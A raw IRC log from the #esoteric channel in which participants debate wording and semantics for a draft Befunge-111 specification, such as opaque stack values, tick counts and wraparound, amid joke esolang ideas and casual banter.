:anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :the whole point of it is intermixing opaque and normal values < 1267641716 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :as parameters to some fingerprints < 1267642119 0 :alise!~5f925fb0@gateway/web/freenode/x-onwhyyxijpwbafmg JOIN :#esoteric < 1267642283 0 :asie[afk]!unknown@unknown.invalid PRIVMSG #esoteric :http://www.delsquacho.com/articles/ten-youtube-translations.php - This made me smile. < 1267642316 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I am in fact still alive. < 1267642324 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Now I need to find somewhere to put my computer... < 1267642324 0 :asie[afk]!unknown@unknown.invalid PRIVMSG #esoteric :Nana < 1267642326 0 :asie[afk]!unknown@unknown.invalid PRIVMSG #esoteric : Nana < 1267642326 0 :asie[afk]!unknown@unknown.invalid PRIVMSG #esoteric :Nana < 1267642327 0 :asie[afk]!unknown@unknown.invalid PRIVMSG #esoteric : Nana < 1267642386 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey[lunch] is making a new befunge standard himself? < 1267642387 0 :asie[afk]!unknown@unknown.invalid PRIVMSG #esoteric :Top 1 use for a Neural Network: Deciphering YouTube comments < 1267642392 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Later < 1267642417 0 :asie[afk]!unknown@unknown.invalid PRIVMSG #esoteric :Befunge-111 < 1267642421 0 :asie[afk]!unknown@unknown.invalid PRIVMSG #esoteric :which is obviously Befunge 2011 < 1267642425 0 :asie[afk]!unknown@unknown.invalid PRIVMSG #esoteric :WE HAVE 2010 NOW < 1267642425 0 :asie[afk]!unknown@unknown.invalid PRIVMSG #esoteric :HELLO < 1267642435 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :fuck 2010 < 1267642438 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :2010 doesn't exist < 1267642447 0 :asie[afk]!unknown@unknown.invalid PRIVMSG #esoteric :OR < 1267642450 0 :asie[afk]!unknown@unknown.invalid PRIVMSG #esoteric :maybe he just meant < 1267642451 0 :asie[afk]!unknown@unknown.invalid PRIVMSG #esoteric :Befunge-7 < 1267642501 0 :asie[afk]!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1267642503 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ hello.txt \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.32722 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1 < 1267642531 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :alise: Well, you know the saying, never send a boy to do a man's job. < 1267642531 0 :asie[afk]!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1267642534 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ hack_gregor \ hello.txt \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.351 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1 < 1267642535 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :asie[afk] is still just as annoying. < 1267642694 0 :cpressey[lunch]!unknown@unknown.invalid PRIVMSG #esoteric : it doesn't allow opaque values on the stack <-- please refer to why and how to fix it < 1267642726 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey[lunch]: So you usurped Befunge-10x? < 1267642733 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Thank god. It was awful :P < 1267642749 0 :cpressey[lunch]!unknown@unknown.invalid NICK :cpressey < 1267642770 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: It? Does a Befunge-10x exist? < 1267642796 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Um, that thing anmaster_l was working on with fingerprints being URIs. < 1267642806 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I say thing; I mean abomination. >_> < 1267642815 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Oh, I thought that was 109 < 1267642822 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, but then he failed to get it done in 2009 < 1267642825 0 :asie[afk]!unknown@unknown.invalid PRIVMSG #esoteric :I should make Befunge-911 < 1267642829 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I think it was 108 before that < 1267643016 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1267643082 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1267643099 0 :asie[afk]!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1267643118 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Welp, no place to put the computer. < 1267643157 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :09:29:29 * cpressey remembers why he walked away from Befunge the first time < 1267643160 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ohh, ice burn. < 1267643537 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I'm working on a "Notes" document to accompany the spec and contain all the non-normative commentary... hopefully it'll help make things clearer. < 1267643694 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: So, new place, eh? < 1267643718 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, not permanent. Only for, well, this night, pretty much. Sigh. < 1267643966 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: < 1267643970 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :"In Befunge-111, any stack can only contain one kind of object." < 1267643974 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Allow objects on the stack. < 1267643981 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :that is the problematic phrase < 1267643982 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i.e. objects and intvals < 1267643985 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It will be fun and hilarious < 1267643991 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh lol < 1267643995 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i fidn' teven see this convo < 1267643999 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*didn't even < 1267644030 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i would really like my computer :| < 1267644195 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :hm? < 1267644237 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: That kind of object is "object", which is either an intval or an opaque. I realize this wording is confusing. I'll fix it. < 1267644262 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, right < 1267644279 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, it sounds like it is one kind of object per stack < 1267644283 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :(and that is surely wrong) < 1267644290 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :_object_ is horrible word to have a definition of < 1267644304 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, what about value? < 1267644324 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, value is OK. Don't ask me to define it though. < 1267644342 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :That's the sort of thing that makes philosophy careers. < 1267644371 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, or entenity (sp? argh) < 1267644381 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"object: region of data storage in the execution environment, the contents of which can represent values" (C99 is a bit pragmatic) < 1267644415 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, actually, value would be confusing < 1267644426 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :object or entenity (again: spelling?) < 1267644429 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :are better < 1267644437 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :entity < 1267644442 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Eternity. < 1267644443 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, thanks < 1267644443 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :"element"? < 1267644450 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: So, you're at a hotel or something and will be at place later. "Fun". < 1267644469 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Entity: (forall x. x is an entity) & ~(exists x. ~(x is an entity)) < 1267644473 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, an element of an array on the stack? < 1267644474 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Philosophy is like logic but with more redundancy. < 1267644475 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :or SETS < 1267644492 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :"thing" < 1267644493 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, calling it element in general would make that SETS fingerprint confusing perhaps < 1267644495 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :sets don't exist < 1267644497 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, hehe < 1267644501 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Logic is often considered part of philosophy. < 1267644513 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :By idiots. < 1267644519 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, I'm talking about http://www.rcfunge98.com/rcsfingers.html#SETS < 1267644524 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :philosophy without logic is like sex without marrige < 1267644541 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: Less restraining? < 1267644542 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267644549 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :(More diseases) < 1267644553 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I consider it more a tool needed to do philosophy sanely. < 1267644557 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(not that this stops people from doing it insanely) < 1267644593 0 :charlls!~charlls@200.109.210.140 JOIN :#esoteric < 1267644625 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I'll just define "object stack", "stack stack", and "fingerprint semantic stack" as seperate things instead of trying to generalize (which is what is leading to me needing the word "thing") < 1267644640 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Object or stack or fingerprint semantic... < 1267644646 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, aha < 1267644651 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: How about having object/stack/fingerprint semantics "types"? < 1267644659 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And then say "A stack of a certain type ... contains elements of that type ..." < 1267644669 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Either that, or objects can be stacks and they can be semantics and that is Wrong, or at least requires a lot more thought < 1267644682 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So you say a stack of objects, a stack of stacks of a certain type, and a stack of fingerprint semantics. < 1267644699 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, oh fun, lets have a fingerprint that can place stacks as opaque values on your stack < 1267644702 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Or the type intval|opaque could have a name besides "object" < 1267644717 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :like, popping TOSS off, and pushing it as a opaque value on the new TOSS < 1267644724 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :;) < 1267644742 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: I think I like that approach < 1267644755 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, that might work < 1267644763 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: Nothing stopping you, really, since opaque is opaque is opaque < 1267644793 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, true, anyway I come up with semi-opaque lazy lambdas now < 1267644799 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :that will execute when inspected < 1267644800 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :by anything < 1267644812 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :and thus try to present themselves with a reasonable value < 1267644821 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, of course this is extremely feral < 1267644834 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :also it requires a lot more thought < 1267644851 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Allow the core operations to be performed on opaque objects, with semantics defined by the opaque object. < 1267644862 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :if you made all values functions, then this could work transparently < 1267644866 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So we can have y push a bunch of lazy values that only evaluate when you use them. < 1267644878 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :either have values that are just "dumb" functions, returning their own value < 1267644882 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :or have advanced ones < 1267644888 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :OR < 1267644891 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :that could vary depending on what the operation is < 1267644896 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Have values that do completely random things wwhen you operate on them < 1267644897 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*when < 1267644901 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :+? Yes, that outputs the stack stack. < 1267644903 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, and lazy values too of course < 1267644908 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: Those can just be done as opaques. < 1267644928 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, well, there is a bit of confusion about how many elements a lazy value could expand to < 1267644930 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :and the stack size < 1267644944 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :(you can get stack size with y remember?) < 1267644950 0 :charlls!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267644976 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric : Have values that do completely random things wwhen you operate on them <-- yes :D < 1267644989 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :however, I think this is best left out of 111 < 1267645000 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :it needs more thought < 1267645004 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Fine, I'll just define my own... Abstract Funge! < 1267645014 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :N-dimensional? Who says it needs to be in only one kind of space? < 1267645020 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Numbers? Why restrict yourself thusly?! < 1267645027 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, call it beabstract? < 1267645028 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It will be a monoidal semiring. < 1267645095 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, anyway, one of the goals with befunge-111 is that it shouldn't break the majority of previous programs (some depending on corner cases are ok) < 1267645107 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :and it should clear up confusion < 1267645138 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :plus move some stuff, like tio= into fingerprints (and keep the existing chars implementation defined) < 1267645142 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :(for those) < 1267645146 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Can I make a humble suggestion? (note: it's crazy) < 1267645179 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :(alise, read logs for the last few weeks or so if you want more details, there was quite a lot of discussion) < 1267645192 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Let an IP be in multiple places at once < 1267645200 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That is, multiple velocities going different ways < 1267645206 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quantumly! < 1267645209 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :har < 1267645215 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :fine for a fingerprint I feel < 1267645215 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :DO IT < 1267645218 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: NO < 1267645225 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :stop trying to keep funge boring :( < 1267645241 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :s/boring/practical/ < 1267645242 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: For orthogonality, all vectors would need to be quantum superpositions of multiple vectors. < 1267645260 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And the stack, too. < 1267645272 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, and funge space? < 1267645278 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Whyever not? :D < 1267645284 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :No, funge space can be reduced to a single cell. < 1267645294 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ooh. Go in EVERY DIRECTION AT ONCE. < 1267645299 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Your IP would /explode/ outwards. < 1267645305 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Exploring t'forbidden space. < 1267645307 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And what would it do? < 1267645308 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Now these wouldn't be separate IPs, oh no. < 1267645313 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Go on a jump character? < 1267645316 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ALL IPS JUMP < 1267645320 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Change direction? < 1267645325 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :As do of your IPs. < 1267645328 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*all of < 1267645334 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Separate, yet equal! < 1267645337 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :White, yet black! < 1267645349 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Silly, yet silly! < 1267645350 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION takes another hit from the bong
< 1267645357 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Also: ALBATROSS IPs < 1267645373 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, your ideas are fine for some other be* language < 1267645376 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :but not befunge < 1267645380 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :see logs about that < 1267645384 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Tell him that he is wrong! < 1267645385 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :DO IT < 1267645391 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Too bad the name bequnge is already taken < 1267645401 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :befuck < 1267645404 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, cpressey argued we should keep befunge close to the current one < 1267645409 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :so tough luck < 1267645414 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That was before cpressey heard my wonderful idea. < 1267645416 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :befuckyoubecausequantum < 1267645424 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, also, he suggested other fungoids could be created < 1267645427 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :for weird ideas < 1267645427 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :BeQuantumlyFucked < 1267645429 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :like those < 1267645431 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267645486 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: If you interpret the Befunge-111 in multiple languages simultaneously, you will find it contains all of your proposed features, and more. < 1267645489 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, here is a suggested esolang name. Design the matching esolang: undertrefuck (read as: under-tre-fuck) < 1267645498 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :*spec < 1267645499 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Fucking under trees. < 1267645506 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: :D < 1267645525 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :BeEfucking < 1267645531 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sexual intercourse with bees. As a language. < 1267645535 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, or combine underload, trefunge and brainfuck < 1267645552 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :urefucked? < 1267645559 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Unlambda + INTERCAL + Brainfuck + Underload = ?? < 1267645560 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, heh < 1267645564 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Unlambda + INTERCAL + Brainfuck + Underload + Befunge = ?? < 1267645565 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I should say < 1267645569 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The 5 classics < 1267645570 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267645590 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, "a messy bloated tarpit" < 1267645596 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :that is what you replace ?? with < 1267645596 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :BerainfunINTERCALoadge < 1267645614 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ber ayen fun interca loadge < 1267645809 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Esolang idea: Axiom. < 1267645819 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1267645835 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Example: forall x. x=3 -> outputted(start, x) < 1267645850 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I.e., for all values x, x is 3 implies x was outputted at the start of execution. < 1267645885 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :exists x. x = inputted(start) < 1267645896 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I.e., there exists a value x such that x is equal to what was inputted by the user at the start of the program. < 1267645910 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :exists x. x = inputted(start) & outputted(start+1, x) < 1267645926 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I.e., there exists a value x such that x is equal to what was inputted by the user at the start of the program, and that was outputted at the start of the program + 1 event. < 1267645939 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(exists x. x = inputted(start+1) & outputted(start, x)) - fails, contradictory < 1267645951 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or rather impossible, not contradictory necessarily < 1267645959 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it just /happened/ to be the same thing printed as you put in :) < 1267646162 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :forall n. forall x. outputted(n, x-1) & (x % whatever) = 0 -> outputted(n+1, x) < 1267646167 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you get the idea < 1267646425 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :alise, spec and implement it then < 1267646460 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :> ; ; ; ; @ < 1267646468 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :How many ticks before it halts? < 1267646490 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, iirc 98 says space takes no ticks, and nor does ;; does it? < 1267646496 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :I'm not completely sure < 1267646546 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :"Like space, this takes zero ticks to execute, so that subroutines, comments, and satellite code can be insulated by surrounding it with ; markers, with no effect on multithreading." < 1267646560 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, so I guess: tick 1: >, tick 2 @ < 1267646564 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I would say it executes >, then @, then it's over < 1267646566 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yeah < 1267646583 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, better check with ccbi on this (cfunge doesn't track tick counts) < 1267646611 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant spent quite a lot of time figuring this out < 1267646666 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, just run with ccbi's debugger ;-P < 1267646668 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: space taking zero ticks sucks by the way < 1267646670 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :imo. < 1267646672 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's the spec 2.0! < 1267646678 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :This is ugly. I'm going to have to define a single ; in a path as a special case. < 1267646684 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Why < 1267646686 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, how is that? < 1267646688 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or, well, I hate sgml spaces more < 1267646689 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :There is never only a single ; in a path < 1267646689 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, it wraps around < 1267646691 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: Well, we want wrapping to complete in finite time < 1267646703 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Not SGML spaces + A run of spaces takes 0 ticks. But please no SGML spaces. < 1267646715 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: for my defn of 'path' right now there can be. this might chaneg < 1267646725 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I think SGML spaces should be kept now < 1267646727 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :they are useful < 1267646731 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :nooooooooOOOOOO < 1267646733 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :some programs I wrote made use of them < 1267646736 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Fuck "useful" < 1267646742 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :"useful" has no meaning here < 1267646745 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :for things crossing each other < 1267646757 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Your definition is poor ;-P < 1267646760 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, like two strings intersecting, one vertical one horizontal < 1267646770 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: which is why it might change :) < 1267646771 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: You just don't want to change Mycology :) < 1267646780 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I want to make one of those markov bots < 1267646790 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, it will change due to wraparound < 1267646798 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise: This wouldn't change anything since it sounds to me that the semantics are the same < 1267646802 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :well I just want to put text file in and get a bot out.. < 1267646810 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I just meant in general :P < 1267646842 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :My definition right now is only the "ray" extending outward. It needs to be the "line". Then maybe behaviour w.r.t semicolons will be easier to defnie < 1267646853 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Or not < 1267646854 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise: Well of course not ;-) < 1267646868 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, look, it makes perfect sense if you considers wraparound < 1267646885 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, the IP will always wrap, sooner or later < 1267646898 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: It /is/ a ray, it just crosses over itself ;-P < 1267646905 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: I know it makes sense. The problem is that it needs to be worded in the form of an unambiguous definition. < 1267646907 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, you could define a "wrapping ray" < 1267646916 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, and then use that in there < 1267646924 0 